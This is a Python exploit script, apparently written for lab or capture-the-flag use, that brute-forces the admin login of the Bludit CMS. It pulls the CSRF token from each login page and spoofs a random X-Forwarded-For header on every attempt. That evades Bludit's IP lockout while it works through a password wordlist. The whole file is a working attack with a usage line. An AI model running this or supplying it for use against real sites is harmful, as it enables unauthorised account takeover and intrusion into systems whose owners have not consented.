bludit-brute-force-mitigation-bypass.py

# GOT BASE SCRIPT FROM https://www.youtube.com/watch?v=PBK8exCodeI
# USAGE
# sudo python3 bludit-brute-force-mitigation-bypass.py http://xx.xx.xx.xxx username wordlistpath --timeout 5 --delay 3
#

import re
import time
import requests
import argparse
import uuid

def open_ressources(file_path):
    return [item.replace("\n", "") for item in open(file_path).readlines()]

parser = argparse.ArgumentParser(description='Expoit Bludit using mitigation bypass method.')
parser.add_argument('host', help='target host')
parser.add_argument('username', help='target username')
parser.add_argument('wordlist', help='target wordlist')

parser.add_argument('--timeout', nargs='?', default=5, type=int, help='request timeout')
parser.add_argument('--delay', nargs='?', default=3, type=int, help='delay between exceptions')
parser.add_argument('--index', nargs='?', default=0, type=int, help='wordlist position start')

args = parser.parse_args()

host = args.host
login_url = host + "/admin/login"
username = args.username
wordlist = open_ressources(args.wordlist)
timeout=args.timeout
delay=args.delay
index = args.index

print("[*] Starting exploit '{u}:{h}'".format(u = username, h = host))

while index < len(wordlist) - 1:
    time.sleep(1)

    password = wordlist[index]

    print("[>] Trying password of index [{n}]: {p}".format(n = index, p = password))

    session = requests.Session()

    login_page = False
    try:
        login_page = session.get(login_url, timeout=timeout)
    except Exception as e:
        print("[-] Can't get login page, retrying in {d} seconds".format(d = delay))
        time.sleep(delay)
        continue

    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    headers = {
        "X-Forwarded-For": uuid.uuid4().hex,
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36",
        "Referer": login_url
    }

    data = {
        "tokenCSRF": csrf_token,
        "username": username,
        "password": password,
        "save": ""
    }

    login_result = False
    try:
        login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False, timeout=timeout)
    except Exception as e:
        print("[-] Can't access login form, retrying in {d} seconds".format(d = delay))
        time.sleep(delay)
        continue

    index = index + 1

    if "location" in login_result.headers:
        if "/admin/dashboard" in login_result.headers["location"]:
            print("[!] SUCCESS: Password found!")
            print("[+] Use {u}:{p} to login.".format(u = username, p = password))
            break